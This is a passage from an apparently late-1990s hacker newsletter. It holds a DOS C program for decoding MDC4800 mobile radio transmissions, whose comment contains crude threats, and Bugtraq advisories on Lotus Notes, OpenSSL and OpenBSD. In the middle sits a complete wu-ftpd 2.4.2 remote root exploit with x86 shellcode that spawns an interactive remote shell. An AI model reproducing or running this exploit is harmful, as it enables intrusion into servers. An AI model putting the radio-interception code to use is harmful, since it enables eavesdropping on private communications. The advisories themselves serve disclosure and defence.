explaining how to decode their tranmissions). The necessary program will
be the proverbial exercise left for the reader. For better performance
buy a dedicated MOBITEX modem chip and hook it up to your computer.
-----------------------------------------------------------------------
A few words about the program:
Remember - you must have your decoder hooked up to COM1. The RTS
line will be positive and the DTR line negative but if you built the
decoder with a bridge rectifier you really don't have to worry about
their polarity. Stop the program by punching any key; don't use
control-c or control-break!
If you must reverse polarity run the program with any command line
arguement (example: type in "mdt x" at the command line if your program
is mdt.exe). You should then see the "Polarity Reversed." message pop up
and hopefully things will then work.
As far as compiling this - save the latter portion of this posting
(the program listing) and feed it to a C compiler. Pretty much any C
compiler from Borland should work. If you (Heaven Forbid) use a
Microsoft C compiler you might need to rename some calls such as
outport. Follow any special instructions for programs using their own
interrupt service routines. This program is not object oriented. It also
does not want anything whatsoever to do with Windows. Please don't even
think about running this program under Windows. Finally, here it is:
---------------------- C u t H e r e ! ! ! --------------------------
/* start of program listing */
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <math.h>
/* Purpose of program: receive messages using the Motorola MDC4800 */
/* protocol and show them on the screen */
/* */
/* WARNING TO ALL : This program is free. Please distribute and modify*/
/* this program. I only request that you always include the source */
/* code so that others may also learn and add improvements. The */
/* status of this program at the time of the original release is : */
/* it doesn't have much in the way of a user interface or options but */
/* it should work if you follow the procedure in the text file. Don't */
/* expect any sort of support (you get what you pay for - nothing in */
/* this case). Finally, here's a special message to all of you who */
/* might have the urge to try to make money with this information: */
/* I know where you live. I will shave your pets and pour rubbing */
/* alcohol all over them (unless said pet happens to be a Rottweiler).*/
/* I will have sex with your wife while you off at work; on the rare */
/* occasions when you have sex with your wife she will in the throes */
/* of passion cry not your name but mine. I will sell drugs to the */
/* demented spawn you refer to as your children. And if that's not */
/* enough for you let a thousand lawyers from motorola descend on you */
/* and pound your fat rear end so far into the ground that it finally */
/* sees daylight again somewhere in Australia. */
/* */
/* */
/* General tidbits (a few of those "Why were things done this way */
/* questions). */
/* 1. Why is captured data kept in an array and only written to a */
/* disk file at the very end? Because disk access seems unreliable */
/* when so much time is taken up by the background interrupt service */
/* routine. */
/* 2. Why is the array storing this so small? Because yours truly was */
/* too damn lazy to use a pointer and allocate a huge chunk of memory.*/
/* (Hint for those of you who would like to improve this. */
/*--------------------------------------------------------------------*/
/* global variables */
int lc=0;
char fob[30000];/* output buffer for captured data to be sent to disk */
int foblen=29900;
int fobp=0; /* pointer to current position in array fob */
char ob[1000]; /* output buffer for packet before being sent to screen */
int obp=0; /* pointer to current position in array ob */
static unsigned int buflen= 15000; /* length of data buffer */
static volatile unsigned int cpstn = 0; /* current position in buffer */
static unsigned int fdata[15001] ; /* frequency data array */
void interrupt (*oldfuncc) (); /* vector to old com port interrupt */
/**********************************************************************/
/* this is serial com port interrupt */
/* we assume here that it only gets called when one of the status */
/* lines on the serial port changes (that's all you have hooked up). */
/* All this handler does is read the system timer (which increments */
/* every 840 nanoseconds) and stores it in the fdata array. The MSB */
/* is set to indicate whether the status line is zero. In this way */
/* the fdata array is continuously updated with the appropriate the */
/* length and polarity of each data pulse for further processing by */
/* the main program. */
void interrupt com1int()
{
static unsigned int d1,d2,ltick,tick,dtick;
/* the system timer is a 16 bit counter whose value counts down */
/* from 65535 to zero and repeats ad nauseum. For those who really */
/* care, every time the count reaches zero the system timer */
/* interrupt is called (remember that thing that gets called every */
/* 55 milliseconds and does housekeeping such as checking the */
/* keyboard. */
outportb (0x43, 0x00); /* latch counter until we read it */
d1 = inportb (0x40); /* get low count */
d2 = inportb (0x40); /* get high count */
/* get difference between current, last counter reading */
tick = (d2 << 8) + d1;
dtick = ltick - tick;
ltick = tick;
if ((inportb(0x3fe) & 0xF0) > 0) dtick = dtick ^ 0x8000;
else dtick = dtick & 0x3fff;
fdata[cpstn] = dtick; /* put freq in fdata array */
cpstn ++; /* increment data buffer pointer */
if (cpstn>buflen) cpstn=0; /* make sure cpstn doesnt leave array */
d1 = inportb (0x03fa); /* clear IIR */
d1 = inportb (0x03fd); /* clear LSR */
d1 = inportb (0x03fe); /* clear MSR */
d1 = inportb (0x03f8); /* clear RX */
outportb (0x20, 0x20); /* this is the END OF INTERRUPT SIGNAL */
/* "... that's all folks!!!!" */
}
void set8250 () /* sets up the 8250 UART */
{
static unsigned int t;
outportb (0x03fb, 0x00); /* set IER on 0x03f9 */
outportb (0x03f9, 0x08); /* enable MODEM STATUS INTERRUPT */
outportb (0x03fc, 0x0a); /* push up RTS, DOWN DTR */
t = inportb(0x03fd); /* clear LSR */
t = inportb(0x03f8); /* clear RX */
t = inportb(0x03fe); /* clear MSR */
t = inportb(0x03fa); /* clear IID */
t = inportb(0x03fa); /* clear IID - again to make sure */
}
void set8253() /* set up the 8253 timer chip */
{ /* NOTE: ctr zero, the one we are using*/
/* is incremented every 840nSec, is */
/* main system time keeper for dos */
outportb (0x43, 0x34); /* set ctr 0 to mode 2, binary */
outportb (0x40, 0x00); /* this gives us the max count */
outportb (0x40, 0x00);
}
/****************************************************************/
int pork(int l)
{
static int s=0,sl=0x0000,t1,asp=0,ll,k,v,b,tap,synd=0,nsy;
static char line[200]; /* array used to format 112 bit data chunks */
static int lc=0; /* pointer to position in array line */
if (l == -1)
{
/* printf (" %2i\n",asp); */
sl = 0x0000;
s = 0;
synd = 0;
if ((asp <12) && (lc > 50))
{
ll = 12 - asp;
for (ll=0; ll<6; ll++)
{
v = 0;
for (k=7; k>=0; k--)
{
b = line[ (ll<<3) +k ];
v = v << 1;
if ( b == 49) v++;
}
ob[obp] = (char) v;
if (obp < 999) obp++;
}
}
lc = 0;
tap = asp;
asp = 0;
return(tap);
}
else
{
s++;
if (s==1)
{
line[lc] = (char) l;
lc++;
}
/* update sliding buffer */
sl = sl << 1;
sl = sl & 0x7fff;
if (l == 49) sl++;
if (s >1)
{
s = 0;
if ((sl & 0x2000) > 0) t1 = 1; else t1 = 0;
if ((sl & 0x0800) > 0) t1^=1;
if ((sl & 0x0020) > 0) t1^=1;
if ((sl & 0x0002) > 0) t1^=1;
if ((sl & 0x0001) > 0) t1^=1;
/* attempt to identify, correct certain erroneous bits */
synd = synd << 1;
if (t1 == 0)
{
asp++;
synd++;
}
nsy = 0;
if ( (synd & 0x0001) > 0) nsy++;
if ( (synd & 0x0004) > 0) nsy++;
if ( (synd & 0x0020) > 0) nsy++;
if ( (synd & 0x0040) > 0) nsy++;
if ( nsy >= 3) /* assume bit is correctable */
{
printf ("*");
synd = synd ^ 0x65;
line[lc - 7] ^= 0x01; /**********************************************/
}
}
}
return(0);
}
void shob()
{
int i1,i2,j1,j2,k1;
/* update file output buffer */
i1 = obp / 18;
if ( (obp-(i1*18)) > 0) i1++;
fob[fobp] = (char) (i1 & 0xff);
if (fobp < 29999) fobp++;
for (i2 = obp; i2<=(obp+20); i2++) ob[i2] = 0;
for (j1 = 0; j1 < i1; j1++)
{
for (j2 = 0; j2 < 18; j2++)
{
k1 = j2 + (j1*18);
printf("%02X ", ob[k1] & 0xff);
fob[fobp] = (char) (ob[k1] & 0xff);
if (fobp < 29999) fobp++;
}
printf (" ");
for (j2 = 0; j2 < 18; j2++)
{
k1 = j2 + (j1*18);
if (ob[k1] >=32) printf("%c",ob[k1]); else printf(".");
}
printf("\n");
}
obp=0;
printf("BUFFER: %3i percent full\n",(int)(fobp/299.0));
}
/**********************************************************************/
/* frame_sync */
/**********************************************************************/
/* this routine recieves the raw bit stream and tries to decode it */
/* the first step is frame synchronization - a particular 40 bit */
/* long sequence indicates the start of each data frame. Data frames */
/* are always 112 bits long. After each 112 bit chunk this routine */
/* tries to see if the message is finished (assumption - it's finished*/
/* if the 40 bit frame sync sequence is detected right after the end */
/* of the 112 bit data chunk). This routine also goes back to hunting */
/* for the frame sync when the routine processing the 112 bit data */
/* chunk decides there are too many errors (transmitter stopped or */
/* bit detection routine skipped or gained an extra bit). */
/* */
/* inputs are fed to this routine one bit at a time */
/* input : 48 - bit is a zero */
/* 49 - bit is a 1 */
void frame_sync(char gin)
{
static unsigned int s1=0,s2=0,s3=0,nm,j,t1,t2,t3,ns=0,st=0,n,m,l,chu=0,eef=0;
static char ta[200];
if (st == 1)
{
ta[ns] = gin;
ns++;
if (ns >= 112) /* process 112 bit chunk */
{
chu++;
ns = 0;
for (n= 0; n<16; n++)
{
for (m=0; m<7; m++)
{
l = n + (m<<4);
pork(ta[l]);
}
}
if (pork(-1) > 20) eef++; else eef=0;
if (eef > 1) /* if two consecutive excess error chunks - bye */
{
st = 0;
shob();
eef = 0;
}
/* else eef = 0; */
}
}
/* s1,s2,s3 represent a 40 bit long buffer */
s1 = (s1 << 1) & 0xff;
if ((s2 & 0x8000) > 0) s1++;
s2 = (s2 << 1);
if ((s3 & 0x8000) > 0) s2++;
s3 = (s3 << 1);
if (gin == 49) s3++;
/* xor with 40 bit long sync word */
t1 = s1 ^ 0x0007;
t2 = s2 ^ 0x092A;
t3 = s3 ^ 0x446F;
/* find how many bits match up */
/* currently : the frame sync indicates system id / idling / whatever */
/* inverted frame sync indicates message follows */
nm = 0;
for (j=0; j<16; j++)
{
if (t1 & 1) nm++;
if (t2 & 1) nm++;
if (t3 & 1) nm++;
t1 = t1 >> 1;
t2 = t2 >> 1;
t3 = t3 >> 1;
}
if (nm < 5)
{
st = 1;
ns = 0;
}
else if (nm > 35)
{
if (st==1)
{
shob();
}
st = 0;
ns = 0;
}
}
void main (int argc)
{
unsigned int n,i=0,j,k,l,cw1=49,cw0=48;
FILE *out;
char s=48;
double pl,dt,exc=0.0,clk=0.0,xct;
if (argc > 1)
{
printf ("Reverse Polarity.\n");
cw1 = 48;
cw0 = 49;
}
/* dt is the number of expected clock ticks per bit */
dt = 1.0/(4800.0*838.8e-9);
oldfuncc = getvect(0x0c); /* save COM1 Vector */
setvect (0x0c, com1int); /* Capture COM1 vector */
n = inportb (0x21); /* enable IRQ4 interrupt */
outportb(0x21, n & 0xef);
set8253(); /* set up 8253 timer chip */
set8250(); /* set up 8250 UART */
while ((kbhit() == 0) && (fobp<29900))
{
if (i != cpstn)
{
if ( ( fdata[i] & 0x8000) != 0) s = cw1; else s = cw0;
/* add in new number of cycles to clock */
clk += (fdata[i] & 0x7fff);
xct = exc + 0.5 * dt; /* exc is current boundary */
while ( clk >= xct )
{
frame_sync(s);
clk = clk - dt;
}
/* clk now holds new boundary position. update exc slowly... */
/* 0.005 sucks; 0.02 better; 0.06 mayber even better; 0.05 seems pretty
good */
exc = exc + 0.020*(clk - exc);
i++;
if( i >buflen) i = 0;
}
}
outportb (0x21, n); /* disable IRQ4 interrupt */
setvect (0x0c, oldfuncc); /* restore old COM1 Vector */
/* save captured data to disk file */
i = 0;
out = fopen("data.dat","wt");
if (out == NULL)
{
printf ("couldn't open output file.\n");
exit(1);
}
i = 0;
while ( (i < fobp) && (i < 29800))
{
j = ((int)fob[i] & 0xff);
i++;
for (k=0; k<j; k++)
{
for (l=0; l<18; l++)
{
fprintf(out,"%02X ",((int) fob[i + l]&0xff));
}
fprintf(out," ");
for (l=0; l<18; l++)
{
n = ((int)fob[i]&0xff);
i++;
if (n >=32) fprintf(out,"%c",n); else fprintf(out,".");
}
fprintf(out,"\n");
}
fprintf(out,"\n");
}
fclose(out);
}
@HWA
30.0 Bugtraq: Lotus Notes security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: BUGTRAQ@netspace.org
Security advisory
Advisory released Mar 23 1999
-----
Application: Lotus Notes Client (Version 4.5, probably others)
Impact: Encrypted mail sent from the Notes client may
traverse the network in the clear and may be stored
on the mail server unencrypted.
Author: Martin Bartosch
-----
Synopsis
--------
When performing network analysis experiments with the Lotus Notes Client
a very subtle bug was discovered that may lead to inadvertent revelation of
confidential information.
Usually the Notes client sends at least two copies of a newly created mail.
One copy is sent to the recipient, the other is stored in the "Sent Mail"
folder of the sender's Notes server.
If an encrypted mail is to be sent and the conditions for this bug are
met, the copy for the sender's "Sent Mail" folder is not encrypted. As a
result, the message is sent to the Notes server in the clear and stored
on the Notes server unencrypted.
The message may thus be intercepted and read by analyzing the network
traffic between the sender's Notes client and the server or by directly
accessing the "Sent Mail" folder on the Notes server.
The user is not given any warning or notification about the problem, and
the problem causes almost no noticable side effects. As a result, if a
user is affected by the problem, this will probably remain unnoticed.
Lotus is currently working on the problem, a detailed analysis and official
fixes may be available soon. Once this is available, it should be preferred
to the workaround presented in this document.
Details
-------
The problem seems to result from an inadequate check condition in the
client code.
Traditionally Windows, DOS and OS/2 use the backslash character ('\') as
a path separator, whereas Unix systems use the slash ('/') for this
purpose. Applications that deal with both styles need to be aware of the
problem and have to take care of paths passed to applications or services
on other systems.
The user's database usually is located on a remote server. Though Notes
clients are normally Windows style systems, the servers may either run
Windows, OS/2 or Unix as the server operating system. Thus Notes needs to
take care of proper translation of file paths as files are accessed on
various platforms.
Notes accesses databases by specifying the server and the path to
the database. In order to open a user's database in the first place, the
user needs to enter the correct path to the database or traverse the
directory tree on the server. When the database has been opened, Notes
remembers the path to the database for subsequent access to this database.
Internally the Notes client seems to store the path to the database using
the client operating system file naming conventions. In particular, on
Windows or OS/2 platforms, Notes uses Backslash characters ('\') as path
separators.
The current Notes environment settings may be changed by opening the
environment document (File/Mobile/Edit current environment). In the second
entry of the section "Mail" the path to the mail file can be changed by
the user.
Notes uses this entry for various purposes. One of these is the periodical
check for new mail or agenda events. (If the user specifies an incorrect
path here, mail notification does not work any longer.)
To address the backslash-slash problem, Notes seems to translate
any path entered by the user into the proper representation needed for
accessing the service required. Apparently it does not matter at all if
paths are entered with slashes or backslashes as path separators. The GUI
dialogs accept any spelling as well as the environment document mentioned
above.
However, if for some reason the environment document of a Windows style
client specifies the mail file with *slashes* as a path separator (like
e. g. mail/users/user.nsf instead of mail\users\user.nsf) Notes does
a proper translation of the path and almost all functions will work as
expected.
Except for one side effect: Notes does not recognize the specified
database as the user's mail database. Probably a simple string compare
between the currently opened mail database and the database path of the
environment document is performed, and this comparison fails because of
the different representation of paths.
The resulting effect: if an encrypted mail is to be sent and the
environment document does contain a mail database path with 'incorrect'
path separators as seen from the client OS view, the mail copy for the
user's "Sent Mail" folder is being sent to the user's database in the
plain and stored unencrypted on the server. The contents of the message
may be read in plain text by sniffing on the network or by directly
accessing the notes database.
The behaviour described can be reproduced with almost any Notes client
and server combination. Even if both the server and client use the
same operating system, it is still possible to enter the mail path
separated with slash characters. The Notes client will behave as described
above.
Detection
---------
- compose a new mail message
- address this message to some other user
- using the mail properties dialog enable encryption for this individual
message
- send message
- change to the "Sent Mail" folder of your mail database
- right-click on the sent message once
- open the properties dialog for this document
- choose "fields" in the document properties
- check existence of the fields "$Seal", "$SealData" and "Body"
Under normal circumstances the "$Seal"/"$SealData" and "Body" fields are
mutually exclusive.
The existence of "$Seal" and "$SealData" usually indicate that the message
was properly encrypted.
If the field "Body" exists, this message is stored in the plain on the
server and was transferred unencrypted across the network.
Alternatively the network traffic can be analyzed while sending an
encrypted mail. This is how the bug was discovered in the first place.
Workaround
----------
The workaround described here may be an incomplete fix for the problem;
the problem may be triggered by other conditions as well. As Lotus is
actively investigating on the problem, the solution presented by Lotus
may be more general and should be preferred once it is available.
First method:
Open your environment document. The path to the database must *not*
contain any path separator characters that are not natively used by
the client operating system.
When using a Windows or OS/2 environment, the path must only contain
backslash '\' characters.
Example:
Mail File: mail\path\to\user.nsf * OK *
Mail File: mail/path/to/user.nsf * DANGER! *
A client restart is required to make the changes effective.
Second method:
In your global preferences check the "Encrypt saved mail" box. Every
message you send will be encrypted when saving the message to the "Sent
Mail" folder on the server.
Use both methods to be sure that mail sent by the client is not sent and
stored in the clear. Be aware that using the second methond will
result in encryption of the whole database and that loss of your
passphrase or Notes ID will effectively cause loss of your mail database
contents.
Vendor activities
-----------------
Lotus has been informed of this bug and is currently working on the problem.
An official fix or workaround will be published by Lotus.
Credits
-------
Michael Doberenz; Michael Popp
whose network analysis experiments revealed that there was a problem
in the first place
Artur Hahn
found the real reason (path separator issue) for the Notes encryption
problem
--
Martin Bartosch bartosch@mail.deuba.com
This message and any statements expressed therein are those of myself
and not of the Deutsche Bank AG or its subsidiary companies.
@HWA
31.0 Bugtraq: New FTP exploit
~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by netspace.org
(8.8.7/8.8.7) with ESMTP id LAA25208 for <BUGTRAQ@netspace.org>; Mon,
22 Mar 1999 11:10:17 -0500
Received: from xs3.xs4all.nl (pietern@xs3.xs4all.nl [194.109.6.44]) by
smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id RAA03847 for
<BUGTRAQ@netspace.org>; Mon, 22 Mar 1999 17:10:23 +0100 (CET)
Received: from localhost (pietern@localhost) by xs3.xs4all.nl (8.9.0/8.9.0)
with ESMTP id RAA18937 for <BUGTRAQ@netspace.org>; Mon, 22 Mar 1999
17:10:23 +0100 (CET)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.BSI.4.10.9903221702080.18430-100000@xs3.xs4all.nl>
Date: Mon, 22 Mar 1999 17:10:23 +0100
Reply-To: Pieter Nieuwenhuijsen <pietern@XS4ALL.NL>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Pieter Nieuwenhuijsen <pietern@XS4ALL.NL>
Subject: ftp exploit
To: BUGTRAQ@netspace.org
/*
THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE!
WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
for linux x86 (redhat 5.2)
by duke
duke@viper.net.au
BIG thanks to stran9er for alot of help with part of the shellcode!
i fear stran9er, but who doesn't? !@$ :)
Greets to: #!ADM, el8.org users,
To exploit this remotely they need to have a directory you can
have write privlidges to.. this is the <dir> argument.. you can
also use this locally by specifying -l <ur login> -p <urpass> with the
<dir> = your home directory or something..(must begin with '/')
also alignment arg is how return address is aligned.. shouldnt need it,
but if u do it should be between 0 and 3
It takes about 10 seconds after "logged in" so be patient.
-duke
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#define RET 0xbfffa80f
void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";
char tmp[256];
char name[128], pass[128];
int sockfd;
int main(int argc, char **argv)
{
char sendln[1024], recvln[4048], buf1[800], buf2[1000];
char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
int len, offset = 0, i, align=0;
struct sockaddr_in cli;
if(argc < 3){
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
exit(0);
}
for(i=0; i < argc; i++) {
fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
}
fakeargv[argc] = NULL;
while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
switch(arg) {
case 'l':
strncpy(name,optarg,128);
break;
case 'p':
strncpy(pass,optarg,128);
break;
case 'a':
align=atoi(optarg);
break;
case 'o':
offset=atoi(optarg);
break;
default:
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
exit(0);
break;
}
}
if(name[0] == 0) strcpy(name, "anonymous");
if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");
bzero(&cli, sizeof(cli));
bzero(recvln, sizeof(recvln));
bzero(sendln, sizeof(sendln));
cli.sin_family = AF_INET;
cli.sin_port = htons(21);
cli.sin_addr.s_addr=getip(argv[1]);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect");
exit(0);
}
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
recvln[len] = '\0';
if(strchr(recvln, '\n') != NULL)
break;
}
logintoftp(sockfd);
printf("logged in.\n");
bzero(sendln, sizeof(sendln));
for(i=align; i<996; i+=4)
*(long *)&buf2[i] = RET + offset;
memcpy(buf2, "a", align);
memset(buf1, 0x90, 800);
memcpy(buf1, argv[2], strlen(argv[2]));
mkd(argv[2]);
p = &buf1[strlen(argv[2])];
q = &buf1[799];
*q = '\x0';
while(p <= q){
strncpy(tmp, p, 200);
mkd(tmp);
p+=200;
}
mkd(shellcode);
mkd("bin");
mkd("sh");
p = &buf2[0];
q = &buf2[999];
while(p <= q){
strncpy(tmp, p, 250);
mkd(tmp);
p+=250;
}
sh(sockfd);
close(sockfd);
printf("finit.\n");
}
void mkd(char *dir)
{
char snd[512], rcv[1024];
char blah[1024], *p;
int n;
struct timeval tv;
fd_set fds;
bzero(&tv, sizeof(tv));
tv.tv_usec=50;
bzero(blah, sizeof(blah));
p = blah;
for(n=0; n<strlen(dir); n++){
if(dir[n] == '\xff'){
*p = '\xff';
p++;
}
*p = dir[n];
p++;
}
sprintf(snd, "MKD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(snd, sizeof(snd));
sprintf(snd, "CWD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(rcv, sizeof(rcv));
FD_ZERO(&fds);
FD_SET(sockfd,&fds);
select(sockfd+1,&fds,NULL,NULL,&tv);
if (FD_ISSET(sockfd,&fds))
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("logging in with %s: %s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void sh()
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(rcv, stdout);
}
}
}
int max(int x, int y)
{
if(x > y)
return(x);
return(y);
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit (1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
@HWA
32.0 Bugtraq: OpenSSL and SSLeay Advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OpenSSL and SSLeay Security Alert
---------------------------------
It was recently realised that packages that use SSLeay and OpenSSL may
suffer from a security problem: under some circumstances, SSL sessions
can be reused in a different context from their original one. This may
allow access controls based on client certificates to be bypassed.
Unfortunately, before the the problem was fully understood, it was
discussed on various public lists. The OpenSSL team have therefore
decided to release an interim version of OpenSSL which addresses the
problem by disabling session reuse except in limited circumstances
(see below).
A future version will deal with the problem more elegantly by redoing
verification on reused sessions when necessary.
Although this problem is not strictly a defect in OpenSSL, it is
rather tricky for applications to be coded correctly to avoid the
problem due to the sketchy nature of SSLeay/OpenSSL documentation. We
therefore decided to protect applications from within OpenSSL.
The problem
-----------
SSL sessions include a session ID which allows initial setup to be
bypassed once a session has been established between a client and
server. This session ID, when presented by the client, causes the same
master key to be used as was used on the previous connection, thus
saving considerable session setup time.
When the session is reused in this manner, all access controls based
on client certificates are bypassed, on the grounds that the original
session would have made the necessary checks.
Unfortunately, the lack of documentation has resulted in the caching
structures being used in certain applications without appropriate care
being taken to assure that the cached sessions are only available at
the appropriate moments.
As a result it is sometimes possible for a specially written SSL
client to fraudulently obtain an SSL connection which requires access
control by reusing a previous session which had different or no access
control.
The problem affects servers which support session reuse and which have
multiple virtual hosts served from a single server, where some virtual
hosts use differing client server verifications. Note that "different"
includes no verification on some hosts, and verification on others, or
different CAs for different hosts.
In order to exploit this problem carefully written client software
would need to be written. The attacker would need considerable
knowledge of the SSL protocol. Standard web browsers will not and
cannot be made to use SSL in this way.
Affected software
-----------------
All server software using SSLeay or versions of OpenSSL prior to
version 0.9.2b that support multiple virtual hosts with different
client certificate verification may be vulnerable.
This includes, but is not limited to:
Apache-SSL http://www.apache-ssl.org/
mod_ssl http://www.engelschall.com/sw/mod_ssl/
Raven http://www.covalent.net/
Stronghold http://www.c2.net/
The solution
------------
Download OpenSSL 0.9.2b (see http://www.openssl.org) and build it in
the usual way.
Check the application for updates, and download those, too (NB: this
step is not necessarily required, the updated library will fix the
problem). The versions of the applications listed above that you should
use are:
Apache_SSL 1.3.4+1.32
mod_ssl 2.2.6-1.3.4
Raven 1.4.0
Stronghold 2.4.2
Rebuild the application (if needed).
If you are an application author, you should look in to the use of
SSL_set_session_id_context(), which can be used to reenable session
reuse when appropriate.
Known exploits
--------------
There are no known exploits of this security hole.
Ben Laurie, for the OpenSSL team.
--
http://www.apache-ssl.org/ben.html
"My grandfather once told me that there are two kinds of people: those
who work and those who take the credit. He told me to try to be in the
first group; there was less competition there."
- Indira Gandhi
@HWA
33.0 Recent OpenBSD security advisories
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.openbsd.org/security.html#24
Approved-By: aleph1@UNDERGROUND.ORG
Received: from cvs.openbsd.org (root@cvs.openbsd.org [199.185.137.3]) by
netspace.org (8.8.7/8.8.7) with ESMTP id PAA26180 for
<BUGTRAQ@netspace.org>; Tue, 2 Mar 1999 15:08:12 -0500
Received: from cvs.openbsd.org (IDENT:deraadt@localhost [127.0.0.1]) by
cvs.openbsd.org (8.9.3/8.9.1) with ESMTP id NAA19006 for
<BUGTRAQ@netspace.org>; Tue, 2 Mar 1999 13:08:25 -0700 (MST)
Message-ID: <199903022008.NAA19006@cvs.openbsd.org>
Date: Tue, 2 Mar 1999 13:08:22 -0700
Reply-To: Theo de Raadt <deraadt@CVS.OPENBSD.ORG>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Theo de Raadt <deraadt@CVS.OPENBSD.ORG>
Subject: New OpenBSD security-related patches
To: BUGTRAQ@netspace.org
There are a couple of new OpenBSD 2.4 security-related patches at
http://www.openbsd.org/security.html#24
We do not normally publish long wordy advisories to mailing lists (not
enough time in the day). That said, I'm surprised that other readers
of BUGTRAQ don't advise each other (publically) when new entries show
up in our patches archive.
I'm sure some of these fixes affect other systems..
-=-
"If we are so much greater than the sum of all our parts
how come we're 90% water?"
- Ed
-=-
From the site:
OpenBSD 2.4 Security Advisories
These are the OpenBSD 2.4 advisories -- all these problems are solved in OpenBSD current. Obviously, all the OpenBSD 2.3 advisories listed below are fixed in
OpenBSD 2.4.
Mar 22, 1999: The nfds argument for poll(2) needs to be constrained, to avoid kvm starvation (patch included).
Mar 21, 1999: A change in TSS handling stops another kernel crash case caused by the crashme program (patch included).
Feb 25, 1999: An unbounded increment on the nlink value in FFS and EXT2FS filesystems can cause a system crash. (patch included).
Feb 23, 1999: Yet another buffer overflow existed in ping(8). (patch included).
Feb 19, 1999: ipintr() had a race in use of the ipq, which could permit an attacker to cause a crash. (patch included).
Feb 17, 1999: A race condition in the kernel between accept(2) and select(2) could permit an attacker to hang sockets from remote. (patch included).
Feb 17, 1999: IP fragment assembly can bog the machine excessively and cause problems. (patch included).
Feb 12, 1999: i386 T_TRCTRAP handling and DDB interacted to possibly cause a crash. (patch included).
Feb 11, 1999: TCP/IP RST handling was sloppy. (patch included).
Nov 27, 1998: There is a remotely exploitable problem in bootpd(8). (patch included).
Nov 19, 1998: There is a possibly locally exploitable problem relating to environment variables in termcap and curses. (patch included).
Nov 13, 1998: There is a remote machine lockup bug in the TCP decoding kernel. (patch included).
OpenBSD 2.3 Security Advisories
These are the OpenBSD 2.3 advisories -- all these problems are solved in OpenBSD current. Obviously, all the OpenBSD 2.2 advisories listed below are fixed in
OpenBSD 2.3.
Nov 27, 1998: There is a remotely exploitable problem in bootpd(8). (patch included).
Nov 13, 1998: There is a remote machine lockup bug in the TCP decoding kernel. (patch included).
